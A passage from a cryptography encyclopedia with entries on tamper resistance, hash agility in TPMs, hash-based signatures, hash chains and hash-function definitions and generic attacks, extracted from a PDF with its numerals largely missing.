Hardware certied at this level must resist the most sophisticated attacks. Cryptographic functions are performed
within an envelopeprotected by the security parameters. The intent of Level protection is to detect a penetration of
the device from any direction. Such devices are suitable for operation in physically unprotected environments. Meets
CC EAL level or higher
Cryptographic equipments list: http://www.ssi.gouv.fr/ so that it is not practical for an attacker to construct
fr/reglementation/liste_entr/index.html a duplicate from commercially available components
FIPS PUB - Security Requirements for Crypto- that can reasonably be mistaken for a genuine device.
graphic Modules: Penetration: To ensure that penetration of an SCD is
http://csrc.nist.gov/cryptval/ detected, the device shall be so designed and con-
http://csrc.nist.gov/cryptval/-.htm structed that any successful penetration shall require
PKCS # Cryptographic Token Interface that the device be subject to physical damage or pro-
Standard: http://www.rsasecurity.com/rsalabs/pkcs longed absence from its authorized location such that
/pkcs-/index.html the device cannot be placed back into service with-
out a high probability of detection by a knowledgeable
Denitions (Extracted from ISO ) observer.
Tamper Evidence Requirement

Tamper Resistance Requirements
A device that claims Tamper Evidence characteristics shall
Penetration: An SCD shall be protected against pene-
be designed and constructed as follows:
tration by being Tamper Resistant to such a degree that
Substitution: To protect against substitution with a its passive resistance is sufficient to make penetration
forged or compromised device, a device is designed infeasible both in its intended environment and
H Hash Agility
when taken to a specialized facility where it would task. In a client server protocol, hash agility also requires
be subjected to penetration attempts by specialized that two (or more) entities be able to negotiate a hash
equipment. algorithm or algorithms that satisfies both the security
Modification: The unauthorized modification of any requirements of all entities and also the abilities of all
key or other sensitive data stored within an SCD, or entities [].
the placing within the device of a tap, e.g., active, pas-
sive, radio, etc., to record such sensitive data, shall not
Background
be possible unless the device be taken to a specialized
Many of the popular Hash algorithms are susceptible to
facility and this facility be subjected to damage such
cryptanalytic attacks, especially MD and and SHA- (to
that the device is rendered inoperable.
a lesser degree) [, ]. As a result, programs, protocols, and
Monitoring: Monitoring shall be countered by using
devices have been changed in order to use different (and
tamper-resistant device characteristics. The passive
hopefully more secure) hash algorithms. NIST is currently
physical barriers shall include the following:
sponsoring a contest similar to the contest that resulted in
Sheilding against electromagnetic emissions in
AES to create the next secure hash algorithm. It is likely
all frequencies in which sensitive information
that when this new hash algorithm is selected that it will be
could be feasibly disclosed by monitoring the
adopted quickly. The contest is not due to be finished until
device.
, so specifications and designs produced today are
Privacy shelding such that during normal operation,
being created to be adaptable, so they can take advantage
keys pressed will not be easily observable to
of the new hash algorithm without major changes.
other persons. (For example, the device could
Hash agility provides for backwards compatibility with
be designed and installed so that the device can
programs that have been upgraded to the new hash algo-
be picked up and shielded from monitoring by the
rithms in use, but often it provides an excuse for programs
users own body.)
to not upgrade.
Where parts of the device cannot be appropriately pro-
tected from monitoring; these parts of the device shall not
store, transmit, or process sensitive data. The device shall
be designed and constructed in such a way that any unau- Protocols and Applications
thorized additions to the device, intended to monitor it Transport Layer Security (TLS) (can use MD or
for sensitive data, shall have a high probability of being SHA-)
detected before such monitoring can occur. Internet Protocol Security (IPsec) (can use MD, SHA-
, SHA-, SHA-, and SHA-)
Removal: If protection against removal is required, the
Secure Sockets Layer (SSL) (can use MD, SHA-,
device shall be secured in such a manner that it is not
SHA-, SHA-, SHA-, and SHA)
economically feasible to remove the device from its
Pretty Good Privacy (PGP) (can use MD, RIPEMD-
intended place of operation.
, SHA-, SHA-, SHA-)
GPG (can use MD, SHA-, SHA-, SHA-)
GnuPG (can use MD, RIPEMD-, SHA-, SHA-
, SHA-)
Hash Agility Secure Shell (SSH) (can use MD or SHA-, SHA-,
SHA-, and SHA-)
David Challener Secure / Multipurpose Internet Mail Extensions
Applied Physics Laboratory, Johns Hopkins University, (S/MIME) (can use MD, SHA-, SHA-, SHA-,
Laurel, MD, USA SHA-, and SHA))
Related Concepts Devices

MD; MD; RIPEMD-; SHA-; SHA-; TPM Hardware devices are typically designed to support only a
single hash algorithm. This is because silicon is expensive,
Denition and most software that talks to the hardware device is able
In the broadest sense, Hash Agility refers to the ability of to support multiple hash algorithms. The TPM .b and .
a program, algorithm, protocol, or device to use any of a only support SHA-. The Common Access Card used by
group of cryptographic hash algorithms in performing its the US Military only supports SHA-. The new PIV- cards
Hash Agility H
which replace the CAC cards will provide support for SHA- of the specification. However such changes will likely
/ and . Syprus makes smartcards and USB sticks be done in a way that allows maintaining of backwards
that can handle SHA-////. compatibility [].
In order to allow for flexible algorithm use, it is
TPMs and Hash Agility likely this will require an additional, two step, asymmet-
The TPM Specifications .b and . [] were written with ric/symmetric means of encrypting keys stored outside the
SHA- ingrained throughout the structures and functions. TPM. This technique uses the asymmetric encryption to
When attacks on SHA- surfaced which could lead to col- encrypt a symmetric key which in turn is used to encrypt
lisions (the ability to find two inputs with the same out- the next key. Since symmetric encryption is not limited in
put), there was immediate concern. Although there was no space, any size hash will be usable.
known way to exploit a collision attack against the TPM
specification, it is a known fact in cryptography that attacks Platform Control Registers
only get worse. PCRs work by a process called extension. If data is
Two implicit problems in the TPM were the SHA- extended into a PCR, the data in the PCR is replaced with
dependent key structures and the SHA- extended Plat- Hash (old data/new data), where / means concatenation.
form Control Registers (PCRs). The TPM uses bit This is a one way function, assuming the hash has not been
RSA keys to store other bit RSA keys (using SHA- broken. The .b and . specification reserve byte reg-
hashes for HMAC keys and integrity settings associated
H
isters for use as PCRs ( of them in .b and in .). In
with the stored RSA key), and the PCRs are used to store order to be hash agile, this will have to change, although it
measurements by extending them with SHA- into mem- is not clear what technique will be used.
ory locations of bytes. A less obvious problem occurs Obvious problems that need to be solved include the
when one wants to develop a chain of trust for TPM size of registers set aside for the hash algorithm, whether
operations. multiple types of hashes can be used simultaneously in
different registers, and how data extended into PCRs rep-
Key Storage resentative of a boot sequence may be simultaneously
The keys in the TPM specification are stored encrypted represented via different hash algorithms.
with bit RSA keys, known as Storage Keys. Nor-
mally a bit key does not have enough space to Certicate Chains
encrypt another bit key in a single encryption, but In the current TPM design, the chain of trust starts with
the specification gets around this by only storing one of the a certificate for the TPM and for the platform on which
two primes in the encrypted blob, and attaching the public the platform is attached. These two certificates are used to
key (unencrypted) which includes the product of the two create a certificate for an Attestation Identity Key (AIK)
primes. Once the first prime is decrypted inside the TPM, which in turn is used to provide a certificate for other non-
a simple division is used from the public key to obtain the migratable keys on the platform. The AIK can also be used
other prime. Because of structure tagging, this leaves to attest to values of Platform Control Registers. In the .
bits or bytes in which to store other information. How- and . design of the TPM, the certificates are all implicitly
ever there is a lot of other information to store, including: created using SHA-. In the future, when multiple hashes
Use authorization ( bytes, corresponding to one SHA- can be used, it becomes important that the hash algorithm
hash), Migration authorization (another bytes corre- used in the certificates be explicit, and also not be spoofa-
sponding to a SHA- hash), Public Data Digest (another ble by using a weak hash algorithm to attest to the hash
bytes from a SHA- hash), Payload ( byte), Random Num- algorithm being used.
ber for OAEP (another bytes). Other various things take
up most of the remaining bytes, but even without them,
Recommended Reading
increasing the hash from bytes to byte (moving from
. Kaliski Jr BS () On hash function firewalls in signature
SHA- to SHA-) would exceed the available space. schemes. In: Preneel B (ed) Topics in Cryptology, LCNS, vol ,
It is clear that when the new TPM specification pp
appears, key structures will have to change in order . NIST () Cryptographic hash project, December . At
to accommodate larger hashes []. The specification is http://csrc.nist.gov/groups/ST/hash/index.html
. NIST () Fips -. October . At http://csrc.nist.gov/
expected to be hash agile, that is, the specification will
publications/fips/fips- /fips- _final.pdf
be written in such a way that it will be possible to be . Schneier B () Applied cryptography: protocols, algorithms,
compliant to the specification while using any hash algo- and source code in C, nd edn.Wiley, New York
rithm. Acceptable hash algorithms will be chosen by users . Trusted Computing Group () Tpm main specification
H Hash-Based Signatures
. Trusted Computing Group () Features under consider- Then x [], x [], x [], x [], x [], . . . are revealed, allow-
ation for tpm next, . At http://www.trustedcomputing ing anybody to sign also messages (, , , . . .) or (, ,
group.org/files/resource_files/CD-D--ADDAFD
, . . .), where the values in the dots need to match one of
EDDA/Features%Under%Consideration%for%
TPM%next%(FINAL).pdf
the previously signed messages.
. Yin YL, Wang X, Yu H () Efficient collision search attacks on To extend this one-time signature scheme to longer
sha-. In: Advances in CryptologyCrypto , LCNS vol . messages let G be a cryptographic hash function, G:{, }
Springer, Heidelberg {, }k . It is possible, and commonly done, to choose H
. Yin YL, Wang X, Yu H () Finding collisions in the full sha-.
as G restricted to input of length k. Setting up the public
In: Advances in CryptologyCrypto . Springer, Heidelberg
key works as stated above.
The signature S(X, r, m) of a message m is r, x [g ], . . . ,
xk [gk ], where G(r, m) = (g , . . . , gk ) and r is a random
Hash-Based Signatures string. The verifier computes G(r, m) and verifies whether
H(xi [gi ]) = yi [gi ] for <= i <= k.
Tanja Lange Each public key consists of k bits, and the secret
Coding Theory and Cryptology, Eindhoven Institute for keys have the same size. It is possible to save on storage
the Protection of Systems and Information, Department at the signers side by generating the xi [b] as outputs of a
of Mathematics and Computer Science, Technische pseudorandom number generator so that only the seed
Universiteit Eindhoven, Eindhoven, The Netherlands needs to be stored but this does not change the size of the
public key. The main drawback is that each extra signa-
ture needs new public values and that these values must
Synonyms be generated and made public long before the signature is
Lamport one-time signatures; Merkle-hash-trees signa- generated.
tures; Winternitz one-time signatures In , Merkle extended the scheme to handle mul-
tiple signatures []. Let H : {, } {, }k be a
Related Concepts cryptographic hash function. The number of signatures
Hash Functions; Post-quantum Cryptography; needs to be fixed beforehand, for example, user Alice
Signature prepares the system so that she can sign up to eight
messages.
Denition For this she computes eight Lamport one-time pub-
Hash-based signature schemes are public key signatures lic keys Y , Y , . . . , Y with corresponding private keys
that are based on the one-wayness of cryptographic hash X , X , . . . , X , i.e., Xi = (xi, [], xi, [], . . . , xi,k [], xi,k [])
functions. Yi = (yi, [], yi, [], . . . , yi,k [], yi,k []) and yi,j [b] =
H(xi,j [b]). Each of the Xi and the Yi has k bits. The
Theory public keys are then arranged in a binary tree as fol-
The first hash-based signature scheme is Lamports one- lows: the eight public keys are the leaves of the tree.
time signature scheme [] (see also [], p. ). To sign Values of neighboring nodes are hashed together to
messages of length k the system is set up as follows: form the next layer of the tree, e.g., Y and Y form
Let H be a one-way function H : {, }k {, }k . Y = H(Y , Y ) = H((y, [], y, [], . . . , y,k [], y,k []),
The signer chooses k random strings x [], x [], . . ., (y, [], y, [], . . . , y,k [], y,k [])). The process contin-
xk [], xk [] and stores them as his secret key X. Then he ues to the root as shown in the first part of Fig. .
computes yi [b] = H(xi [b]) for b {, } and i k. The The arrows indicate that computing values closer to the
public key is the vector Y = (y [], y [], . . . , yk [], yk []) root requires knowledge of the values on the layer above.
of k strings of length k each. The public key in Merkles signature scheme is Y .
The signature S(X, m) of a message m is x [m ], . . ., To sign the first message m , Alice generates some ran-
xk [mk ], where m = (m , . . . , mk ). The verifier checks domness r , computes S(X , r , m ) as in Lamports scheme,
whether H(xi [mi ]) = yi [mi ] for i k. and also includes Y , Y , Y , and Y as the authentication
The scheme is called one-time signature because a pub- path to Y .
lic key can be used only for one signature: if a second The receiver hashes the entries of X given by
message is signed that differs from the first in at least two S(X , r , m ) and verifies that they match the corresponding
hash bits then an attacker can generate further valid sig- entries of Y . If so the receiver computes Y = H(Y , Y ),
natures. Assume that the first message satisfies m = (, , then computes Y = H(Y , Y ) by hashing the computed
, . . .) and the second message satisfies m = (, , , . . .). Y together with Y (given as part of the signature), and
Hash-Based Signatures H
X X X X X X X X

Y 7 Y Y 7 Y Y 7 Y Y 7 Y
77 77 77 77
7 7 7 7
Y = H(Y , Y ) Y = H(Y , Y ) Y = H(Y , Y ) Y = H(Y , Y )
JJ JJ
JJ ttt JJ tt
t
J$ ztt J$ ztt
Y = H(Y , Y ) Y = H(Y , Y )
TTTT j jj
TTTT jj
T* tjjjj
Y = H(Y , Y )
X X X X X X X X

Y Y Y 7 Y Y 7 Y Y 7 Y H
77 77 77 77
77 7 7

7

Y = H(Y , Y ) Y = H(Y , Y ) Y = H(Y , Y ) Y = H(Y , Y )
JJ t JJJ tt
JJ t J
J$ zttt J$ zttt
Y = H(Y , Y ) Y = H(Y , Y )
TTTT jj
TTTT jj
T* tjjjj
Y = H(Y , Y )
Hash-Based Signatures. Fig. Merkle tree for signatures and authentication path for rst signature
then finally hashes Y and Y together and accepts the sig- for some choice of w < k but needs up to w executions
nature if the computed value for H(Y , Y ) matches the of H per w bits. For details see [].
public key Y . If the tree grows so that many signatures can be gener-
Similarly, the second message is signed by sending ated for one public key the time to compute the authentica-
S(X , r , m ), Y , Y , Y , Y , the third one by S(X , r , m ), tion path grows and makes the scheme prohibitively slow.
Y , Y , Y , Y , etc. Tree chaining solves this issue by using Merkle hash trees
This method reduces the size of the public key to k bits, on different levels. The tree on the lowest level has as its
independent of how many messages the tree covers, but root the public key, its leaves are used to sign the roots of
the secret key has size k s if the tree is set up to sign trees in higher levels, etc. Only the trees on the top level
s messages, and a signature has size k + (s )k if the are used to sign messages. This has the advantage that only
tree is set up to sign s messages. The latter can be reduced the smaller trees along the authentication path to the pub-
to k + sk by introducing another layer of hashing at the lic key need to be traversed and not the entire union of all
leaf level: let Zi = H(Yi ) and replace all Yi in the tree trees. This approach can be combined with using pseudo-
by Zi ; the first signature in the example is then given by random number generators to generate the secret keys for
S(X , r , m ), Y , Z , Z , Z and needs k + k. all subtrees. For details see [] and the references therein.
Storage for the secret key increases if the Yi are not
recomputed as part of signature generation. Several papers Applications
study the costs of tree traversal to minimize the time The security of most hash functions is not affected by
needed in signature generation. A comprehensive sum- Shors algorithm []; thus when large quantum comput-
mary is given in []. ers become reality, the security of systems based on hash
The Lamport one-time signature can be replaced functions is only affected by Grovers algorithm [], which
by a Winternitz one-time signature, which is more in essence means that preimages of a hash function with
compact signing w bits with a single preimage x {, }k output size k bits can be found in k/ instead of in k
H Hash Chain
operations. The impact of Grovers algorithm on collision Denition

security depends on the exact model of computation and A hash chain is a sequence of values derived via consec-
is not as large; see [] and the references therein. utive applications of a cryptographic hash function to an
This means that doubling the size of the hash func- initial input. Due to the properties of the hash function, it
tion is sufficient to protect hash-based signature schemes is relatively easy to calculate successive values in the chain
against attacks using quantum computers. This is in but given a particular value, it is infeasible to determine the
sharp contrast to the RSA digital signature scheme and previous value.
elliptic curve signature schemes, which are broken by
quantum computers. Hash-based signatures are studied as Background
part of post-quantum cryptography. Leslie Lamport originally proposed the use of hash
chains to provide a secure means of authentication
Recommended Reading using one-time passwords when the attacker is able to
. Bernstein DJ () Cost analysis of hash collisions: will quan- eavesdrop on communications []. Haller later described
tum computers make SHARCS obsolete? In: Workshop record a prototype authentication system for UNIX systems
of SHARCS : special-purpose hardware for attacking cryp-
based on Lamports scheme []. Researchers have subse-
tographic systems, Lausanne, Sep
. Buchmann J, Dahmen E, Szydlo M () Hash-based digital quently identified a number of contexts in which hash
signature schemes. In: Bernstein DJ, Buchmann J, Dahmen E chains are beneficial such as network routing, micro-
(eds) Postquantum cryptography. Springer, Berlin, pp . payment schemes, and efficient authentication in various
http://www.cdc.informatik.tu- darmstadt.de/~dahmen/papers/ circumstances.
hashbasedcrypto.pdf
. Diffie W, Hellman M () New directions in cryptography.
IEEE Trans Inf Theory :. http://www-ee.stanford. Theory
edu/~hellman/publications/.pdf The utility of the hash chain stems primarily from the
. Dods C, Smart NP, Stam M () Hash based digital signa- following properties of the cryptographic hash function
ture schemes. In: Smart NP (ed) Cryptography and coding, th H(x):
IMA international conference, proceedings Cirencester,
Dec . Lecture notes in computer science, vol . Springer, ) H accepts a variable size input and computes a fixed
Heidelberg, pp size output.
. Grover LK () A fast quantum mechanical algorithm for
) H(x) is easy to compute.
database search. In: STOC, Philadelphia, pp
. Lamport L () Constructing digital signatures from a one ) It is computationally infeasible to invert H(x) (i.e., it is
way function. Technical Report SRI-CSL-, SRI International a one-way function).
Computer Science Laboratory ) Given x and H(x), it is computationally infeasible to
. Merkle RC () Secrecy, authentication, and public key sys- find another value y such that H(x) = H(y).
tems. PhD thesis, Stanford University. http://www.merkle.com/
) It is computationally infeasible to find any two values x
papers/Thesis.pdf
. Shor PW () Polynomial-time algorithms for prime factor- and y such that H(x) = H(y).
ization and discrete logarithms on a quantum computer. SIAM
In the second property, easy is not often rigorously
J Comput ():
defined in the literature but it may be thought of as
polynomial-time in terms of computational complex-
ity. Alternatively, in a practical sense, easy means that
it should be feasible to produce efficient implementa-
Hash Chain tions in both software and hardware. This property is
particularly important when used in power-constrained
Dwight Horne environments such as with applications of hash chains
Department of Computer Science and Engineering, in wireless sensor networks. The third property is often
Southern Methodist University, Dallas, TX, USA referred to as the one-way property (One-Way Func-
tion). It is essential that given an output y, one cannot
Synonyms feasibly find x such that H(x) = y. The fourth and fifth
One-Way Chain properties are often referred to as weak collision resistance
and strong collision resistance, respectively (Collision
Related Concepts Resistance).
Challenge-Response Authentication; Cryptographic A hash chain of n values is often denoted H n (x) where
Hash Function the ith value in the chain would be computed as xi =
Hash Functions H
H(xi ). Hence, if the initial password were x then Recommended Reading

. Lamport L () Password authentication with insecure com-
H (x) = H(x), H(H(x)) munication. Commun ACM ():
. Haller N () The S/KEY one-time password system. In: Pro-
H (x) = H(x), H(H(x)), H(H(H(x))) ceedings of the Symposium on Network and Distributed Systems
Security. pp
. Hauser R, Przygienda T, Tsudik G () Reducing the cost of
and so on. Note that, given a value in the chain xi , one can-
security in link-state routing. In: Proceedings of the Symposium
not feasibly determine the previous value xi due to the on Network and Distributed Systems Security. pp
properties of the hash function. However, if xi were sub- . Rivest R, Shamir A () PayWord and MicroMint: two simple
sequently supplied then one may compute to verify that micropayment schemes. RSA Laboratories, Redwood City, CA
H(xi ) = xi and feel confident that the individual that . Micali S () Efficient certificate revocation. Technical
Memo MIT/LCS/TM-b. Laboratory for Computer Science,
supplied the value knows the hash chain and thus, the
Massachusetts Institute of Technology US Patent ,,,
initial value or password. Sep
. Ohkubo M, Suzuki K, Kinoshita S () Cryptographic
approach to privacy-friendly tags. In: RFID Privacy Work-
Applications shop. MIT, Massachusetts
Lamport () first proposed hash chains for use with . Goyal V, Tripathy R () An efficient solution to the ARP
computer system authentication. When used in the context cache poisoning problem. In: Boyd C, Gonzalez Nieto JM (eds)
of authentication, the values in the hash chain are sup- Proceedings of the th Australian Conference on Information
H
Security and Privacy, Brisbane, July . Lecture Notes
plied in reverse order as one-time passwords. Initially, the
in Computer Science (LNCS), vol . Springer-Verlag, Berlin,
system can either compute the entire hash chain or it can pp
be supplied with the last value in the chain, xn . Note that . Schneier B, Kelsey J () Cryptogaphic support for secure
the system need only remember the last successfully used logs on untrusted machines. In: Proceedings of the th
password in this case. USENIX Security Symposium, San Antonio, January
. USENIX Press, Berkeley, pp
For instance, suppose the user supplied y for the first
. Perrig A, Canetti R, Song D, Tyger JD () Efficient authenti-
login. To authenticate the user, the system would simply cation and signing of multicast streams over lossy channels. In:
compute H(y) to see if the result is equal to xn . If so, the Proceedings of the IEEE Symposium on Security and Privacy,
user correctly supplied the previous value in the hash chain Berkeley, May . IEEE Computer Society, Los Alamitos
(i.e., y = xn ) and she has been authenticated. In this . Perrig A, Szewczyk R, Wen V, Culler D, Tygar JD () SPINS:
Security protocols for sensor networks. In: Proceedings of the
example, if an attacker were to intercept y or compromise
th Annual ACM International Conference on Mobile Com-
the system to discover xn , the attacker could not feasibly puting and Networks, Rome, July . ACM, New York,
determine the next valid password (i.e., the previous value pp
in the hash chain) due to the one-way property of the hash
function. The collision resistance properties of the hash
function are also essential for practical applications of hash
chains. In the case of authentication, an attacker that knew Hash Functions
the last-used password xi , but did not know xi or x, could
supply another string z such that H(z) = H(xi ) = xi in
Bart Preneel
the absence of collision resistance.
After Lamports proposal of utilizing hash chains
for computer system authentication, hash chains quickly
became an important cryptographic primitive. Hash
chains have subsequently been applied in a variety of
contexts such as for secure routing protocols [], Introduction
micro-payments [], certificate revocation in public key Cryptographic hash functions take input strings of arbi-
cryptosystems (Public Key Infrastructure) [], forward trary (or very large) length and map these to short fixed
security (Perfect Forward Security) and privacy protec- length output strings. The term hash functions originates
tion with Radio Frequency Identification (RFID) systems from computer science, where it denotes a function that
(RFID Security) [], as well as efficient authentica- compresses a string of arbitrary length to a string of fixed
tion with address resolution [], system event logs [], length. Hash functions are used to allocate as uniformly as
multicast network traffic [], and wireless sensor net- possible storage for the records of a file. For cryptographic
works []. applications, we distinguish between unkeyed and keyed
H Hash Functions
hash functions. We consider here only cryptographic Definition A one-way hash function (OWHF) is a
hash functions without a secret parameter or secret key; function h satisfying the following conditions:
these are also known as Manipulation Detection Codes
. The argument X can be of arbitrary length and the result
(or MDCs). An important class of keyed hash functions
h(X) has a fixed length of n bits.
are MAC Algorithms, which are used for information
. The hash function must be one-way in the sense that
authentication. They can reduce the authenticity of a large
given a Y in the image of h, it is computationally infeasi-
quantity of information to the secrecy and authenticity of
ble to find a message X such that h(X) = Y (preimage
a short secret key.
resistant) and given X and h(X) it is computationally
Unkeyed cryptographic hash functions or MDCs will
infeasible to find a message X X such that h(X ) =
in the remainder of this entry be called hash functions.
h(X) (second preimage resistant).
These functions can also provide information authenti-
cation in a natural way: One replaces the protection of Typical values for the length n of the hash result are
the authenticity of the original input string by the protec- . . .. A function that is preimage resistant is known as
tion of the authenticity of the short hash result. A simple a one-way function (but preimage resistance is typically
example of such a process is the communication of a large used for hash functions). It is clear that for permutations or
data file over an insecure channel. One can protect the injective functions, second preimage resistance is not rele-
authenticity of this data file by sending the hash result vant. Note that some authors call second preimage resis-
of the file over an authenticated channel, e.g., by read- tance as weak collision resistance. For some applications
ing it over the phone or by sending it by regular mail or (e.g., pseudorandom functions and MAC algorithms
telefax. based on hash functions), a large part of the input of
The most common application of hash functions is in the hash function may be known, yet one requires that
digital signatures: One will apply the signing algorithm it is hard to recover the unknown part of the input. This
to the hash result rather than to the original message; this property is known as partial preimage resistance.
brings both performance and security benefits. With hash
functions, one can also compare two values without reveal- Collision Resistant Hash Function (CRHF)
ing them or without storing the reference value in the The importance of collision resistance for hash functions
clear. The typical examples are passwords and passphrases: used in digital signature schemes was first pointed out by
The verifier will store the image of the passphrase under a Yuval []. The first formal definition of a CRHF was given
hash function; on receipt of the passphrase, it will apply by Damgrd [, ]. An informal definition was given by
the hash function and check whether the result is equal Merkle [].
to this image. Hash functions can also be used to commit
to a value without revealing it. The availability of efficient Definition A collision resistant hash function (CRHF)
hash functions has resulted in their use as pseudorandom is a function h satisfying the following conditions:
functions (for key derivation), and as building blocks for . The argument X can be of arbitrary length and the result
MAC algorithms (e.g., HMAC), block ciphers (e.g., h(X) has a fixed length of n bits.
Bear and Lion [] and Shacal []) and stream ciphers . The hash function must be an OWHF, i.e., preimage
(e.g., SEAL). Finally, many results in cryptology rely on resistance and second preimage resistant.
the random oracle model: Informally one assumes the . The hash function must be collision resistant: it is com-
existence of a random function that can be queried on putationally infeasible to find two distinct messages that
arbitrary inputs to yield a random output. If one needs to hash to the same result.
instantiate a random oracle in practice, one typically uses
a hash function. Note that one finds in the literature also the terms collision
Definitions: It will be assumed that the description freeness and collision intractible.
of the hash function h is publicly known; one also requires
that given the inputs, the computation of the hash result Relation Between Denitions
must be efficient. It is clear that finding a second preimage cannot be eas-
ier than finding a collision: Therefore, the second preimage
One-Way Hash Function (OWHF) condition in the definition of a CRHF seems redundant.
The concept of one-way hash functions was introduced by However, establishing the exact relation between these
Diffie and Hellman in []. The first informal definition conditions requires formal definitions. Under certain con-
was given by Merkle [, ] and Rabin []. ditions, detailed in [], collision resistance implies both
Hash Functions H
second preimage resistance and preimage resistance. A for- the output transformation. Most constructions used for g is
malization of collision resistance requires a public param- the identity function. Two elements in this definition have
eter (also called a key), even if in practice one uses a an important influence on the security of a hash function:
fixed function. If such a parameter is also introduced for the choice of the padding rule and the choice of the IV.
preimage and second preimage resistance, one has then It is essential that the padding rule is unambiguous (i.e.,
the choice between randomizing the challenge (for the sec- there do not exist two messages that can be padded to the
ond preimage or preimage attack), the key, or both. The same padded message); at the end one should append the
relationship between these definitions is studied by Rog- length of the message; and the IV should be defined as
away and Shrimpton []. Earlier work on this topic can part of the description of the hash function (this is called
be found in [, , , , ]. MD-strengthening after Merkle [] and Damgrd []).
A universal one-way hash function (UOWHF) was A natural question can now be formulated: Which
defined by Naor and Yung []. It is a class of functions properties should be imposed on f to guarantee that h sat-
indexed by a public parameter (called a key), for which isfies certain properties? Two partial answers have been
finding a second preimage is hard; the function instance found. The first result is by Lai and Massey [] and gives
(or parameter) is chosen after the challenge input, which necessary and sufficient conditions for f in order to obtain
means that finding collisions for a particular instance does an ideally secure hash function h.
not help an attacker. It corresponds to one of the cases
considered by Rogaway and Shrimpton.
Theorem (LaiMassey) Assume that the padding con- H
tains the length of the input string, and that the message X
Simon [] provides a motivation to treat collision
(without padding) contains at least blocks. Then finding a
resistant hash functions as independent cryptographic
second preimage for h with a fixed IV requires n operations
primitives. He shows that no provable construction of a
if and only if finding a second preimage for f with arbitrarily
CRHF can exist based on a black-box one-way permuta-
chosen Hi requires n operations.
tion, i.e., a one-way permutation treated as an oracle.
One may need other properties of hash functions: e.g., The fact that the condition is necessary follows from
when hash functions are combined with a multiplicative the following argument: If one can find a second preimage
digital signature scheme (e.g., the plain RSA digital sig- for f in s operations (with s < n), one can find a sec-
nature standard []), one requires that the hash function ond preimage for h in (n+s)/+ operations with a meet-
is not multiplicative, i.e., it should be hard to find inputs in-the-middle attack (cf. section Meet-in-the-Middle
x, x , x such that h(x) h(x ) = h(x ) for some group Attack).
operation . See section Attacks Dependent . . . Scheme A second result by Damgrd [] and independently
for an example and [] for a more extensive discussion on by Merkle [] states that for h to be a CRHF, it is sufficient
these aspects. that f is a collision resistant function.
If one digitally signs a hash value of a message rather
Theorem (DamgrdMerkle) Let f be a collision resis-
than the message itself, or if one uses a hash function to
tant function mapping l to n bits (with l n > ). If an
commit to a value, a CRHF hash function is necessary.
unambiguous padding rule is used, the following construc-
For other applications of hash functions, such as protecting
tion yields a CRHF:
passphrases, preimage resistance is sufficient.
Iterated Hash Functions: Most practical hash functions are H = f (n+ X )
based on a compression function with fixed size input; Hi = f (Hi Xi ), for i = , , . . . , t.
they process every message block in a similar way. Lai and
The construction can be improved slightly, and extended to
Massey call this an iterated hash function []. The input
the case where l = n+, at the cost of an additional assump-
is first padded such that the length of the input is a multi-
tion on f (see [] for details and Gibsons comment []).
ple of the block length. Next, it is divided into t blocks X
This variant, which is used in practice, avoids the prefixing
through Xt . The hash result is then computed as follows:
of a zero or one bit. This construction can also extended to
H = IV a tree, which allows for increased parallelism [, ].
Hi = f (Xi , Hi ), i = , , . . . t
Methods of Attack on Hash Functions: A distinction is made
h(X) = g(Ht ).
between attacks that only depend on the size n in bits of the
Here IV is the abbreviation of Initial Value, Hi is called the hash result attacks that depend on the black-box properties
chaining variable, the function f is called the compression of the compression function and cryptanalytic attacks that
function or round function, and the function g is called exploit the detailed structure of the compression function.
H Hash Functions
The security of hash functions is heuristic; only in a few for a hash function in the following way: One generates
slow constructions, it can be reduced to a number theoretic r variations on a bogus message and r variations on a
problem. Therefore, it is recommended to be conserva- genuine message. The expected number of collisions equals
tive in selecting a hash function: One should not use hash r r /n. The probability of finding a bogus message and a
functions for which one can find near collisions or (sec- genuine message that hash to the same result is given by
ond) preimages, or hash functions for which one can only exp(r r /n ), which is about % when r = r = r =
find randomly looking collisions or (second) preimages. n/ . Finding the collision does not require r operations:
Such a property may not be a problem for most applica- After sorting the data, which requires O(r log r) opera-
tions, but one can expect that attacks can be refined to tions, the comparison is easy. This attack was first pointed
create collisions or (second) preimages that satisfy addi- out by Yuval [].
tional constraints. It is also important to note that many One can substantially reduce the memory require-
attacks only impose constraints on the last one or two ments (and also the memory accesses) for collision search
blocks of the input. by translating the problem to the detection of a cycle in an
iterated mapping. This was first proposed by Quisquater
Black-Box Attacks on Hash Functions and Delescaille []. Van Oorschot and Wiener propose
These attacks depend only on the size n in bits of the hash an efficient parallel variant of this algorithm []; with a
result; they are independent of the specific details of the million US$ machine, collisions for MD (with n = )
algorithm. It is assumed that the hash function behaves as can be found in days in , which corresponds to
a random function: If this is not the case this class of attacks h in . In order to make a collision search infeasible,
will typically be more effective. n should be at least bits; security for years or
For attacks that require a limited memory size and not more requires at least bits.
too many memory accesses, operations is considered
to be on the edge of feasibility (in ). In view of the fact Black-Box Attacks on the Compression
that the speed of computers is multiplied by every years Function
(this is one of the formulations of Moores law), opera- This class of attacks depends on some high-level proper-
tions is sufficient for the next years, but it will be only ties of the compression function f . They are also known
marginally secure within years. For applications that as chaining attacks, since they exploit the way in which
require protection for years, one should try to design multiple compression functions are combined.
the scheme such that an attack requires at least oper-
Meet-in-the-Middle Attack. This attack applies to hash
ations. For a more detailed discussion of the cost of brute
functions for which the compression function f is easy to
force attacks, refer the entry on Exhaustive Key Search.
invert (see also Theorem ). It is a variant of the birthday
Random (Second) Preimage Attack. One selects a ran- attack that allows to find a (second) preimage in time n/
dom message and hopes that a given hash result will be rather than n . The opponent generates r variations on
obtained. If the hash function has the required random the first part of a bogus message and r variations on the
behavior, the success probability equals /n . This attack last part. Starting from the initial value and going back-
can be carried out off-line and in parallel. If t hash results ward from the hash result, the probability for a matching
can be attacked simultaneously, the work factor is divided intermediate variable is given by exp(r r /n ). The
by a factor t, but the storage requirement becomes t n-bit only restriction that applies to the meeting point is that it
blocks. For example, if t = n/ , on average n/ attempts cannot be the first or last value of the chaining variable.
are required to hit one of the values. This linear degra- The memory cost can be made negligible using a cycle
dation of security can be mitigated by parameterizing the finding algorithm []. For more details, refer the entry
hash function and changing the parameter (or salt) for Meet-in-the-Middle Attack.
every instance [] (Preimage Resistance and Second A generalized meet-in-the-middle attack has been pro-
Preimage Resistance). posed by Coppersmith [] and Girault et al. [] to break
p-fold iterated schemes, i.e., weak schemes with more than
Birthday Attack. The birthday paradox states that for
one pass over the message as proposed by Davies and
a group of people, the probability that at least two
Price [].
people have a common birthday exceeds /. Intuitively
one expects that the probability is much lower. However, Correcting-Block Attack. This attack consists of substitut-
